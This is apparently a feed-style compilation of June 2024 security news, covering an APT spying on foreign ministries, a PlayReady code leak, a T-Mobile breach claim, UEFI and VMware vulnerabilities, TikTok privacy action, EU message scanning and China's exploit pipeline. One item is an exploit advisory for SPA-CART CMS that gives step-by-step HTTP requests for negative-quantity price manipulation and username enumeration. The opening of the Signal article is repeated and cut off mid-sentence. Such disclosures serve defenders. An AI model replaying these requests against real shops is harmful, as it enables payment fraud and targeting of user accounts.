Government ministries keep falling victim to relatively standard-fare cyber-espionage attacks, like this latest campaign with hazy Chinese links.

Source: Mint Images Limited via Alamy Stock Photo

A Chinese-language advanced persistent threat (APT) has been spying on government ministries across the eastern hemisphere.

The first signs of it date back to late August of last year. Back then, the as-yet-unidentified group began to use a modified version of Gh0st RAT, nicknamed "SugarGh0st RAT," to spy on targets in South Korea, as well as the Ministry of Foreign Affairs in Uzbekistan. Since then, Cisco Talos revealed in a new blog post, the group now called "SneakyChef" has been cooking up new campaigns across more countries.

Based on its lure documents, likely targets for the campaign have included:

*   Ministries of foreign affairs from Angola, India, Kazakhstan, Latvia, and Turkmenistan
    
*   The ministries of agriculture and forestry, and fisheries and marine resources in Angola
    
*   The Saudi Arabian embassy in Abu Dhabi
    

Talos has not attributed SneakyChef to any particular government itself. They did note, however, the Chinese language preferences present in its code, its use of SugarGh0st RAT — particularly, though not exclusively popular among Chinese threat actors — and the similar profile of its targets.

**Sneaky Chef's Latest Servings**

Where early campaigns utilized malicious RAR files embedded in LNK files for initial infection, now SneakyChef prefers self-extracting RARs (SFX RAR). The shift offers some modest benefits.

"RAR files just got official support in Windows 11, so for anything prior to Windows 11, you need to have extra software to be able to extract the file," explains Nick Biasani, Cisco Talos' head of outreach. "A self-extracting RAR file eliminates the need for extra software, so it probably increases the likelihood of infection."

Among the goodies SFX RAR drops: a decoy document, a dynamic link library (DLL) loader, some encrypted malware — either SugarGh0st RAT or SneakyChef's newest tool, SpiceRAT — and a malicious Visual Basic (VB) script for establishing persistence.

The decoys are legitimate, scanned documents relating in some way to the targeted ministry or embassy. They'll describe some kind of government business, most often an upcoming meeting or conference. Notably, Talos was unable to find any of the documents used in recent campaigns on the open web. (This might indicate they were themselves obtained via espionage.)

When it comes to government cyberespionage, "What we commonly see is that this would be the 'first wave.' This actor is not typically highly sophisticated, they're more aiming to send a lot of lures and get a lot of people infected so they can get initial footholds and start gathering data," Biasani says. Then, when they need access to a specific, extra-secured government body. "That's when you start seeing the more sophisticated elements of these attacks play out."

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

'SneakyChef' APT Slices Up Foreign Affairs With SugarGh0st

On June 11, 2024, a Microsoft Engineer posted information about a crash that inadvertently leaked internal data related to PlayReady and Warbird libraries.

    Hello All,On Jun 11, 2024 Microsoft engineer posted on a public foruminformation about a crash experienced with Apple TV service on aSurface Pro 9 device [1].The post had an attachment - a 771MB file (4GB unpacked), which leakedinternal code (260+ files [2]) pertaining to Microsoft PlayReady suchas the following:- Warbird configuration for building PlayReady library- Warbird library implementing code obfuscation functionality- static libraries with symbolic information either required orrelated to PlayReady client library building, this includes OEM,crypto, ARM TEE / HW related libs a preprocessed C++ header file withPlayReady constants, unpublished classes and their methods declarationIn general the above leaked key information related to PlayReadyinternals and implementation. Leaked data should be sufficient tocompletely reverse engineer Microsoft PlayReady operation (HW basedone in particular).As such, on Jun 12, 2024 we notified Microsoft PlayReady and MSRCabout the leak shortly following its discovery.We verified that it is possible to buildWindows.Media.Protection.PlayReady.dll  library (debug build andwithout Warbird encryption / obfuscation) from the leaked code. Afollow up post by another Microsoft engineer provided guidelines onhow to proceed with the building process [4] (this post has been alsoremoved).We also verified that Microsoft Symbol Server didn’t block request forPDB file corresponding to Microsoft internal warbird.dll binary(another leak / bug at Microsoft end).The leak violated Microsoft's own guidelines [5] for posting linkrepro information in public. These guidlines clearly state thefollowing among others:- "All information in reports and any comments and replies arepublicly visible by default"- "Don't put anything you want to keep private in the title or contentof the initial report, which is public"- "To maintain your privacy and keep your sensitive information out ofpublic view, be careful"The described leaks are yet another manifestation of what we have beenalready aware of - the problems and inconsistencies observed atMicrosoft end with respect to PlayReady security and the way secrecyof the implementation is implemented and/or maintained by the company.While Microsoft removed the post (within 12 hours from thenotification), the company hasn't removed the leak itself so far [3].There are some chances this post is to put Microsoft to action though...Thank you.Best Regards,Adam Gowdiak----------------------------------Security Explorations -AG Security Research Labhttps://security-explorations.com----------------------------------References:[1] MSPR leak (screenshot 1)    https://security-explorations.com/samples/mspr_leak_screenshot.png[2] MSPR leak (files list)    https://security-explorations.com/samples/mspr_leak_files.txt[3] MSPR leak (screenshot 2)    https://security-explorations.com/samples/mspr_leak_screenshot2.png[4] MSPR leak (screenshot 3)    https://security-explorations.com/samples/mspr_leak_screenshot3.png[5] How to report a problem with the Microsoft C++ toolset ordocumentation (Reports and privacy)    https://learn.microsoft.com/en-us/cpp/overview/how-to-report-a-problem-with-the-visual-cpp-toolset?view=msvc-170#reports-and-privacy

Microsoft PlayReady Data Leak

IntelBroker is offering source code from major companies for sale. Are they demonstrating the value of a zero-day they are also selling?

A moderator of the notorious data breach trading platform BreachForums is offering data for sale they claim comes from a data breach at T-Mobile.

The moderator, going by the name of IntelBroker, describes the data as containing source code, SQL files, images, Terraform data, t-mobile.com certifications, and “Siloprograms.” (We’ve not heard of siloprograms, and can’t find a reference to them anywhere, so perhaps it’s a mistranslation or typo.)

Post offereing data for sale supposedly from a T-Mobile internal breach

To prove they had the data, IntelBroker posted several screenshots showing access with administrative privileges to a Confluence server and T-Mobile’s internal Slack channels for developers.

But according to sources known to BleepingComputer, the data shared by IntelBroker actually consists of older screenshots. These screenshots show T-Mobile’s infrastructure, posted at a known—yet unnamed—third-party vendor’s servers, from where they were stolen.

When we looked at the screenshots IntelBroker attached to their post, we spotted something interesting in one of them.

Found CVE-2024-1597

This screenshot shows a search query for a critical vulnerability in Jira, a project management tool used by teams to plan, track, release and support software. It’s typically a place where you could find the source code of works in progress.

The search returns the result CVE-2024-1597, a SQL injection vulnerability. SQL injection happens when a cybercriminal injects malicious SQL code into a form on a website, such as a login page, instead of the data the form is asking for. The vulnerability affects Confluence Data Center and Server according to Atlassian’s May security bulletin.

For a better understanding, it’s important to note that Jira and Confluence are both products created by Atlassian, where Jira is the project management and issue tracking tool and Confluence is the collaboration and documentation tool. They are often used together.

If IntelBroker has a working exploit for the SQL injection vulnerability, this could also explain their claim that they have the source code of three internal tools used at Apple, including a single sign-on authentication system known as AppleConnect.

This theory is supported by the fact that IntelBroker is also offering a Jira zero-day for sale.

IntelBroker selling zero-day for JIra

> “I’m selling a zero-day RCE for Atlassian’s Jira.
> 
> Works for the latest version of the desktop app, as well as Jira with confluence.
> 
> No login is required for this, and works with Okta SSO.”

If this is true then this exploit, or its fruits, might be used for data breaches that involve personal data.

Meanwhile, T-Mobile has denied it has suffered a breach, saying it is investigating whether there has been a breach at a third-party provider.

> “We have no indication that T-Mobile customer data or source code was included and can confirm that the bad actor’s claim that T-Mobile’s infrastructure was accessed is false.”

**We don’t just report on threats – we help safeguard your entire digital identit**y

Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using identity protection.

 Was T-Mobile compromised by a zero-day in Jira? 

The old, but newly disclosed, vulnerability is buried deep inside personal computers, servers, and mobile devices, and their supply chains, making remediation a headache.

Source: Alexander Cimbal via Alamy Stock Photo

A vast swath of computers is likely to be affected by a newly published vulnerability in Intel processors.

CVE-2024-0762, unfortunately nicknamed "UEFIcanhazbufferoverflow," is a buffer overflow issue affecting multiple versions of Phoenix Technologies' SecureCore Unified Extensible Firmware Interface (UEFI) firmware. First disclosed by the vendor in May, it has now been described in detail by Eclypsium researchers in a blog post.

They first spotted it back in November, while analyzing UEFI images in Lenovo ThinkPad X1 Carbon 7th Gen and X1 Yoga 4th Gen laptops. The problem lies in an unsafe call to the GetVariable() runtime service, used for reading the contents of a UEFI variable. A lack of adequate checks could allow an attacker to feed it too much data, thereby causing an overflow. From there, the attacker could take advantage by escalating privileges and executing code in a targeted machine during runtime.

Even worse than the severity of the bug, though, is its spread. Intel supplies the majority of PC processors sold around the world, and SecureCore firmware runs on 10 different generations of Intel chips. Eclypsium estimates it could affect hundreds of PC models across a wide spectrum of vendors.

**The Rub With UEFI**

There are few areas of a machine where malicious attacks are so effective, and so difficult to excise, as UEFI and its predecessor, BIOS. As the firmware interface that controls how a system boots, it is the first and most privileged code that runs once a user hits the power button on their device.

Its special status has attracted attackers far and wide in recent years, allowing them to nab root-level privileges, establish persistence through reboots, bypass security programs that might otherwise catch more traditional malware, and more.

"It's not not really the greatest place to hack into, but it is a really good place to set up shop," explains Nate Warfield, director of threat research and intelligence with Eclypsium.

"If you have code execution during that stage of a computer booting, you can drop something into the boot sector. Or you can use this vector to inject malware into Windows before it starts." He points to the recent CosmicStrand UEFI rootkit as a case in point. It's also what makes UEFIcanhazbufferoverflow so dangerous.

Still, it was only assigned a "high" 7.5 out of 10 in the CVSS scoring system. That, Warfield says, comes down to a couple of factors.

First, it requires that an attacker already have access to their targeted machine. 

Additionally, unlike your typical headline vulnerability, exploits in this case may need to be customized to a certain degree depending on the targeted computer model's configuration, and the permissions assigned to the problematic variable, adding a certain degree of complexity to the whole affair.

**The Good News and (More) Bad**

Unfortunately, this same complexity extends to vendors developing patches.

"The vulnerability we found affected a whole bunch of different versions of \[Phoenix's\] UEFI code. So they had to patch all of those for their customers, and now everyone has to go and pull those and package them up for all the versions of their BIOS," Warfield explains. "They may end up having to fix 10, 15, or 20 different tiny differences \[in architecture\] because this one supports this many GPUs, this one supports different hardware configurations for the motherboard. It's impossible to know."

Lenovo — which coordinated with the researchers in recent months — started releasing fixes last month, though some computers will remain exposed until later in the summer. Other, more recently informed original equipment and design manufacturers will surely take even longer. Organizations using Intel-powered computers can do little more than twiddle their thumbs in the meantime.

"This is the whole supply chain problem in a nutshell," Warfield says. "We informed the vendor. We have to wait for them to tell their customers' OEMs, who have to package their fixes and deliver it to their customers, who are the end users."

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

High-Risk Overflow Bug in Intel Chips Likely Impacts 100s of PC Models

The FTC has referred a complaint against TikTok and its parent company ByteDance to the Department of Justice.

The Federal Trade Commission (FTC) has announced it’s referred a complaint against TikTok and parent company ByteDance to the Department of Justice.

The investigation originally focused on Musical.ly which was acquired by ByteDance on November 10, 2017, and merged it into TikTok.

The FTC started a compliance review of Musical.ly following a 2019 settlement with the company for violations of the Children’s Online Privacy Protection Act (COPPA). In the settlement, Musical.ly received a fine of $5.7m for collecting personal information from children without parental consent.

One of the main concerns was that Musical.ly did not ask the user’s age and later failed to go back and request age information for people who already had accounts.

COPPA requires sites and services like Musical.ly and TikTok – among other things – to get parental consent before collecting personal information from children under 13.

Musical.ly also failed to deal with complaints properly. The FTC found that—in just a two-week period in September 2016—the company received over 300 complaints from parents asking Musical.ly to delete their child’s account. However, under COPPA it’s not enough just to delete existing accounts, companies have to remove the kids’ videos and profiles from the company’s servers; Musical.ly failed to do this.

In 2022, TikTok itself faced a $28m fine for failing to protect children’s privacy after an investigation of a possible breach of the UK’s data protection laws.

In the US, TikTok agreed to pay $92 million in 2021 to settle dozens of lawsuits alleging that it harvested personal data from users, including information using facial recognition technology, without consent, and shared the data with third parties.

The FTC states that during the investigation it uncovered reasons to believe that “defendants are violating or are about to violate the law and that a proceeding is in the public interest.”

The FTC also said it usually doesn’t publicize the referral of complaints but feels it is in the public interest to do so now.

TikTok has been in the crosshairs of privacy and security professionals and politicians for years.

In June 2022,  the FCC (Federal Communications Commission), called on the CEOs of Apple and Google to remove TikTok from their app stores considering it an unacceptable national security risk because of its Chinese ownership.

In 2023, General Paul Nakasone, Director of the National Security Agency (NSA) referred to TikTok as a loaded gun in the hands of America’s TikTok-addicted youth.

Recently, we reported about the take-over of some high-profile TikTok accounts just by opening a Direct Message.

And the clock is ticking when it comes to TikTok’s presence in the US, after the US Senate has approved a bill that would effectively ban TikTok from the US unless Chinese owner ByteDance gives up its share of the still immensely popular app.

Somehow we don’t think we’ve heard the last of this.

Malwarebytes has a new free tool for you to check how much of your personal data has been exposed online. Submit your email address (it’s best to give the one you most frequently use) to our free Digital Footprint scan and we’ll give you a report and recommendations.

 TikTok facing fresh lawsuit in US over children&#8217;s privacy 

A trio of bugs could allow hackers to escalate privileges and remotely execute code on virtual machines deployed across cloud environments.

Source: Schoening via Alamy Stock Photo

Broadcom has released fixes for three vulnerabilities affecting VMware vCenter, two of which are of critical severity and allow remote code execution (RCE). The disclosures come as virtual machines (VMs) continue to attract the notice of hackers, thanks to the rich repositories of sensitive data and applications they tend to house. Patching immediately is a good idea.

vCenter is the centralized management console for VMware virtual environments, and is used to view and manage VMs, multiple ESXi hosts, and all dependent components from a single centralized location. CVE-2024-37079 and CVE-2024-37080 are heap overflow vulnerabilities in vCenter's implementation of DCERPC — short for Distributed Computing Environment/Remote Procedure Call — used for calling a function on a remote machine as if it were a local one.

DCERPC is useful for engaging with remote machines, especially if you're a remote hacker. Using a specially crafted network packet, an attacker with network access can take advantage of these vulnerabilities to remotely execute their own code on VMs managed by vCenter. The potential for harm has earned both vulnerabilities critical 9.8 out of 10 scores on the CVSS scale.

Broadcom also patched a number of local privilege escalation vulnerabilities resulting from a misconfiguration of sudo within vCenter. Short for "superuser do" or "substitute user do," sudo allows users in Unix systems to run commands with the privileges of another user — at the root level by default. An authenticated local user can take advantage of the bug labeled CVE-2024-37081 to obtain administrative privileges on a vCenter Server appliance. It has been assigned a high CVSS score of 7.8.

As yet, there is no evidence that any of these three vulnerabilities have been exploited in the wild — though that could quickly change. Remediations can be found here, and an accompanying Q&A page here.

**The Risk in Cloud VMs**

According to its own documentation, VMware sports more than 400,000 customers, including 100% of all Fortune 500 and Fortune Global 100 companies. Its technology supports more than 80% of virtualized workloads and a good chunk of business critical applications.

"The increasing popularity of cloud computing has led to a corresponding surge in VM usage, consolidating multiple applications onto a single physical server," explains Patrick Tiquet, vice president of security and architecture at Keeper Security. "This consolidation not only enhances operational efficiency but also presents attackers with the opportunity to compromise a variety of services through a single breach."

vCenter Server epitomizes this risk. As the centralized management software supporting the VMWare vSphere and Cloud Foundation platforms, it provides a launch point for both IT administrators and hackers to reach many VMs running across organizations.

"Successful breaches not only disrupt services and dole out financial losses, but can also lead to the exposure of sensitive data and violations of regulatory requirements, severely damaging an organization’s reputation," Tiquet warns, so patching new vulnerabilities as they crop up is both necessary and insufficient for organizations to be at ease.

Besides network segmentation, vulnerability audits, and other security hardening tactics like incident response planning and maintaining robust backups, he says, it's the job of network administrators to lead from the front: "Administrators should always ensure they’re using a secure vault and secrets management solution, they must apply necessary updates as soon as possible, and they should also check their cloud console’s security controls to ensure they’re following the latest recommendations."

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Critical VMware Bugs Open Swaths of VMs to RCE, Data Theft

A controversial proposal put forth by the European Union to scan users' private messages for detection child sexual abuse material (CSAM) poses severe risks to end-to-end encryption (E2EE), warned Meredith Whittaker, president of the Signal Foundation, which maintains the privacy-focused messaging service of the same name.
"Mandating mass scanning of private communications fundamentally

A controversial proposal put forth by the European Union to scan users' private messages for detection child sexual abuse material (CSAM) poses severe risks to end-to-end encryption (E2EE), warned Meredith Whittaker, president of the Signal Foundation, which maintains the privacy-focused messaging service of the same name.

"Mandating mass scanning of private communications fundamentally undermines encryption. Full Stop," Whittaker said in a statement on Monday.

"Whether this happens via tampering with, for instance, an encryption algorithm's random number generation, or by implementing a key escrow system, or by forcing communications to pass through a surveillance system before they're encrypted."

The response comes as law makers in Europe are putting forth regulations to fight CSAM with a new provision called "upload moderation" that allows for messages to be scrutinized ahead of encryption.

A recent report from Euractiv revealed that audio communications are excluded from the ambit of the law and that users must consent to this detection under the service provider's terms and conditions.

"Those who do not consent can still use parts of the service that do not involve sending visual content and URLs," it further reported.

Europol, in late April 2024, called on the tech industry and governments to prioritize public safety, warning that security measures like E2EE could prevent law enforcement agencies from accessing problematic content, reigniting an ongoing debate about balancing privacy vis-à-vis combating serious crimes.

It also called for platforms to design security systems in such a way that they can still identify and report harmful and illegal activity to law enforcement, without delving into the implementation specifics.

iPhone maker Apple famously announced plans to implement client-side screening for child sexual abuse material (CSAM), but called it off in late 2022 following sustained blowback from privacy and security advocates.

"Scanning for one type of content, for instance, opens the door for bulk surveillance and could create a desire to search other encrypted messaging systems across content types," the company said at the time, explaining its decision. It also described the mechanism as a "slippery slope of unintended consequences."

Signal's Whittaker further said calling the approach "upload moderation" is a word game that's tantamount to inserting a backdoor (or a front door), effectively creating a security vulnerability ripe for exploitation by malicious actors and nation-state hackers.

"Either end-to-end encryption protects everyone, and enshrines security and privacy, or it's broken for everyone," she said. "And breaking end-to-end encryption, particularly at such a geopolitically volatile time, is a disastrous proposition."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Signal Foundation Warns Against EU's Plan to Scan Private Messages for CSAM

With the requirement that all vulnerabilities first get reported to the Chinese government, once-private vulnerability research has become a goldmine for China's offensive cybersecurity programs.

Source: Zoonar GmbH via Alamy Stock Photo

China's cybersecurity experts over the past decade have evolved from hesitant participants in global capture-the-flag competitions, exploit contests, and bug bounty programs to dominant players in these arenas — and the Chinese government is applying those spoils toward stronger cyber-offensive capabilities for the nation.

In 2014, for example, Keen Team was the sole Chinese hacking group to take home a prize — scoring 13% of the purse — from the Pwn2Own exploit contest. But by 2017, seven China-based teams collected 79% of the prize money from the contest, according to data from the report, "From Vegas to Chengdu Hacking Contests, Bug Bounties, and China's Offensive Cyber Ecosystem," published last week. The following year, China banned participation in Western contests, gauging the vulnerability information too important to national security.

Its civilian hackers have directly benefited China's cyber-offensive programs and are one example of the success of China's cybersecurity pipeline, which the government created through its requirement that all vulnerabilities be directly reported to government authorities, says Eugenio Benincasa, senior researcher at the Center for Security Studies (CSS) at ETH Zurich, and the author of the report.

"By strategically positioning itself as the final recipient in the vulnerability disclosure processes of civilian researchers, the Chinese government leverages its civilian vulnerability researchers, among the best globally, on a large scale and at no cost," he says.

The open source intelligence report comes as the United States, Australia, Japan, South Korea, and other nations in the Asia-Pacific region have struggled to improve cyber defenses against Chinese advance persistent threat (APT) groups. Earlier this year, high-profile US government officials warned that China was compromising critical infrastructure to pre-position its military hackers for future conflicts. And, in the recently uncovered "Operation Crimson Palace," three different threat teams in China conducted coordinated attacks against a Southeast Asia government agency.

**A Robust Cyber Pipeline**

Starting with university capture-the-flag competitions and ending with exploits that enable military cyber operations, China's pipeline for training civilian hackers highlights the benefits of the country's focus on practical cybersecurity. China's cyber-offensive capability has also significantly benefited from the enforcement of its vulnerability disclosure rule, the Regulations on the Management of Security Vulnerabilities in Network Products (RMSV). Both programs are part of China's overall Military-Civil Fusion (MCF) initiative.

Flow chart showing the pipeline for cybersecurity expertise and vulnerability information. Source: ETH Zurich's "From Vegas to Chengdu Hacking Contests, Bug Bounties, and China’s Offensive Cyber Ecosystem" paper

Focusing its burgeoning numbers of technical graduates on finding vulnerabilities helps amplify its offensive capabilities, says Chris Wysopal, chief technology officer at software security firm Veracode.

"There is a scale difference there. ... They have a large number of technical graduates, and that is being harnessed to find vulnerabilities in \[Western products, such as\] Google Android," he says. "This shows that the incentives are working in their favor, and there's evidence of that."

Two groups of hackers exist within China's cyber-offensive ecosystems. The first group includes vulnerability researchers and offensive security specialists who have distinguished themselves by competing in bug bounty programs and hacking contests, such as the Pwn2Own contest and the Tianfu Cup, which was established as a China-based alternative to Pwn2Own.

The second group consists of the contracted or professional hackers who weaponize vulnerabilities for use in attacks on specific targets. Exploits developed by the first group have often been used by the second, a fact discussed in the iSoon leak earlier this year.

In the past, vulnerability research teams were typically associated with technical groups at large firms, such as Qihoo 360, which has at least 19 teams; the Ant Group, which hosts nine teams; and Tencent, which has at least seven research groups. Today, the researchers often are part of boutique cybersecurity firms.

China's civilian hackers initially obtained training by participating in Western capture-the-flag contests and exploit-development competitions, such as Pwn2Own, as well as bug bounty programs. China now has domestic versions of most of these initiatives and programs, often with the financial backing of top-tier national technical universities.

**Cybersecurity Superstars**

A handful of researchers have made significant contributions to China's programs, highlighting China's reliance on a small group of researchers, according to the report.

More than 50% of Google Android vulnerabilities, for example, are credited to Qihoo 360's Security Response Center (360 SRC), naming Han Zinuo as one of the contributors. When Zinuo moved to cybersecurity firm Oppo, 360 SRC's submissions dropped and Oppo's increased, the research paper stated. Similarly, another researcher, Yuki Chen, accounted for 68% of Qihoo 360's Vulcan researcher group's submissions to Microsoft, and when he moved to boutique firm Cyber Kunlun in 2020, the former firm saw a significant drop in vulnerabilities to Microsoft's bug bounty program, while the latter saw a surge.

Overall, the number of vulnerabilities reported by Chinese firms to the big three US software companies — Apple, Google, and Microsoft — declined starting in 2020. While this could suggest that Chinese firms were no longer reporting the vulnerabilities they discovered, it also coincided with increasing sanctions from the United States, such as the blacklisting of Qihoo 360 in May 2020 due to its links to the Chinese military, the report stated.

"This decrease \[in vulnerability reports has\] raised concerns about the potential loss of a significant channel for vulnerability reporting within the global ecosystem," the report said.

**Downsides for Defense**

Because Chinese teams have curtailed their participation in Western hacking competitions, they have arguably made the competitions less effective as a defensive strategy. In 2022 and 2023, for example, no teams attempted to hack either Apple's iPhone or Google's Pixel at the Pwn2Own competition — that was the first time in 15 years for Apple's iPhone — indicating that China now considers any exploits its experts find as too valuable to demonstrate publicly.

"The notable absence of Chinese hacking teams that specialized in targeting these devices explains this break far better than assuming that the iPhone and Pixel have become unbreachable," the research paper stated. "Concurrently, these vulnerabilities are highly likely evaluated by China's security agencies for potential use in cyber malicious operations."

Even showing such exploits without any accompanying details runs the risk of directing attackers to rediscover vulnerabilities, says Dustin Childs, head of threat awareness for the Zero Day Initiative at Trend Micro, which runs the Pwn2Own competition.

"They have already been demonstrated onstage, so threat actors know they aren’t wasting their time reversing a patch for some that may end up non-exploitable," he says. "This is why we invite vendors to participate in the contest."

Private organizations that deal in exploits act as a bellwether for the vulnerability market. Exploit seller Zerodium currently offers a $2.5 million payday for any hacker that finds a zero-click exploit chain for Google Android and $2 million for a similar attack on iOS.

**China's Own Hacking Competitions**

Meanwhile, China is further divorcing itself from the global information infrastructure, moving its infrastructure to domestically developed technology. Unsurprisingly, its cybersecurity pipeline is following suit, with some major exploit competitions focusing increasingly on Chinese products.

In the long term, China will have to follow two paths, Benincasa says.

"We are observing an interesting shift in China's hacking competitions toward focusing more on their own products, while at the same time maintaining a strong interest in Western ones," he says, adding, "China's strategic intent \[is\] to maintain a presence in international products for offensive purposes, given the expertise of its hackers in targeting Western products, while simultaneously focusing on domestic products for defensive purposes as it gradually reduces reliance on US vendors."

**About the Author(s)**

Veteran technology journalist of more than 20 years. Former research engineer. Written for more than two dozen publications, including CNET News.com, Dark Reading, MIT's Technology Review, Popular Science, and Wired News. Five awards for journalism, including Best Deadline Journalism (Online) in 2003 for coverage of the Blaster worm. Crunches numbers on various trends using Python and R. Recent reports include analyses of the shortage in cybersecurity workers and annual vulnerability trends.

Bug Bounty Programs, Hacking Contests Power China's Cyber Offense

SPA-CART CMS version 1.9.0.6 suffers from business logic and user enumeration flaws.

# Exploit Title: Business Logic Flaw and Username Enumeration in 
spa-cartcmsv1.9.0.6 
# Date: 6/2024 
# Exploit Author: Andrey Stoykov 
# Version: 1.9.0.6 
# Tested on: Ubuntu 22.04 
# Blog: 
https://msecureltd.blogspot.com/2024/04/friday-fun-pentest-series-5-spa.html 
<http://msecureltd.blogspot.com/>

Description

- It was found that the application suffers from business logic flaw

- Additionally the application is vulnerable to username enumeration on the 
login page

Logic Flaw

Steps to Reproduce:

 1. Checkout page and intercept HTTP POST request 
 2. Add minus quantity such as -10 
 3. The final price would come up as negative value

// HTTP POST request modifying the quantity to negative value

POST /cart/add HTTP/2 
Host: demo.spa-cart.com 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/123.0.6312.122 
[...]

productid=225&amount=-10

// HTTP response

HTTP/2 200 OK 
Server: nginx 
[...]

[...] 
<img src="https://demo.spa-cart.com/var/photo/product/234x200/225/695/1.jpg" 
alt="" />Five And Two Jewelry Piper Gold-Plated Earrings added to 
cart 
 
Price: $59.00 
<div class="added_options"> 
Selected options: 
Qty: 1 
Color: silver gold 
</div> 
[...]

// HTTP GET request to checkout

GET /checkout HTTP/2 
Host: demo.spa-cart.com 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/123.0.6312.122 
[...]

// HTTP response showing negative amount owned

HTTP/2 200 OK 
Server: nginx 
[...]

[...] 
\t<td>silver gold<\/td>\r\n<\/tr>\r\n<\/table>\r\n <\/td>\r\n <td 
class=\"line\" nowrap align=\"right\">\r\n$<\/span>59.00 x -10 = 
$<\/span>-590.00 <\/td> 
[...]

Username Enumeration:

Steps to Reproduce:

 1. Register account 
 2. Enter valid account with wrong password 
 3. Trap HTTP request 
 4. Check that response for valid username has "P" message 
 5. Enter invalid account with wrong password 
 6. Check that response for invalid username has "E" message

// HTTP POST request with valid username and wrong password

POST /login HTTP/2 
Host: demo.spa-cart.com 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 
[...]

email=test%40test.test&password=test123

// HTTP response showing "P" error message

HTTP/2 200 OK 
Server: nginx 
[...]

P

// HTTP POST request with invalid username and wrong password

POST /login HTTP/2 
Host: demo.spa-cart.com 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 
[...]

email=test%40test.t3st&password=test123

// HTTP response showing "E" error message

HTTP/2 200 OK 
Server: nginx 
[...]

E

SPA-CART CMS 1.9.0.6 Username Enumeration / Business Logic Flaw

The messaging standard promises better security and cooler features than plain old SMS. Android has had it for years, but now iPhones are getting it too.

If you've been keeping up with all the news out of WWDC 2024 this week, you'll know that Apple is bringing the RCS (Rich Communication Services) messaging standard to iPhones later this year with iOS 18. That's a win for Google, which has long backed RCS on Android. But what actually is RCS? And why does supporting it matter?

The short version: It's an upgrade on the standard SMS/MMS texting standards that smartphones have been using from the start. It brings better support for all the cool features we're used to in our messaging apps, like read receipts and images, and it adds some extra security layers too.

Yes, it's a lot like using iMessage from Apple, or using WhatsApp—though it's not quite that simple. There's no RCS app you can install, but you can find apps that support the RCS standard, as we'll explain.

RCS is coming to iOS this year.

Courtesy of Apple

So the long version: Rich Communication Services is a fundamental standard rather than an app like WhatsApp, Signal, or Telegram. It requires carrier support to work, which is why adoption was slow in the beginning, though RCS now works across most countries and is supported by AT&T, Verizon, and T-Mobile.

SMS (Short Message Service) and MMS (Multimedia Messaging Service) weren't really built for the modern way that we communicate through our phones, and RCS tries to fix that. It adds or improves support for sharing large-resolution images and video, group chatting, read receipts, video calls, and messages that actually go beyond 160 characters.

When RCS is supported in your phone's default texting app, you can add reactions to messages, see when someone else is typing, and drop extra elements like GIFs, stickers, and your current location into conversations—all features you may well be used to and accept as standard in other apps.

There are changes and upgrades behind the scenes as well. Whereas SMS/MMS requires a data connection to your cellular network, RCS works over cell networks as well as Wi-Fi. If you don't have a cell signal for whatever reason but you can find a wireless network, your message can still go through.

RCS settings on a Pixel phone.

Courtesy of David Nield

The standard also brings end-to-end encryption with it. It means that no one else—not even Google or your carrier—can see the conversation that's taking place, because only the devices involved in the conversation have the keys necessary to decrypt it. End-to-end encryption is a security feature you should look for in any app that handles sensitive information, including communications.

It's a clear upgrade, which is why Google Messages and Samsung Messages now support it—the messaging apps you'll find on Pixel phones and Galaxy phones, respectively. In November 2023, Apple finally relented and agreed to support RCS on the iPhone in 2024, though this course correction perhaps had more to do with concerns about antitrust procedures than any newfound sense of camaraderie with Google.

Now we know that iPhone RCS support is going to arrive in September with iOS 18. This means all of those features we've mentioned—from read receipts to message reactions—will work inside the iOS Messages app. However, Android users are still going to show up as green bubbles, as the RCS standard isn't going to be fully integrated with the iMessage platform that Apple operates.

When you're texting someone with RCS enabled, you'll see "Text Message RCS" inside the text input box in Messages on iOS, indicating that the recipient can take advantage of all the modern messaging features that we're now used to. There's no need to turn RCS on or off—it's automatically enabled if you're chatting with a contact who has a device that supports RCS.

How RCS messages will look on an iPhone.

Courtesy of Apple

With iOS 18 still in its development stage, there might be changes to come for how RCS is handled on iPhones before the software is rolled out to all compatible devices later in the year. This version of iOS will work on any iPhone models launched in 2018 or later, so most Apple handsets currently in use will get the software and RCS.

It's the same with Samsung Messages: RCS is simply enabled when available. It's Google Messages for Android that gives you most control over RCS settings, and you can get to them from inside the app by tapping your profile picture (top right), then selecting **Messages settings**. Choose **RCS chats** and you're able to turn features such as read receipts and typing indicators on or off.

With RCS soon to appear on iPhones and now extensively supported on Android devices, it's going to become less and less likely that your phone will need to revert back to SMS—though it will do this if RCS isn't available for whatever reason. Otherwise, the standard that has powered our text messages since 1992 will finally be able to enjoy a well-earned retirement.

Tag

#apple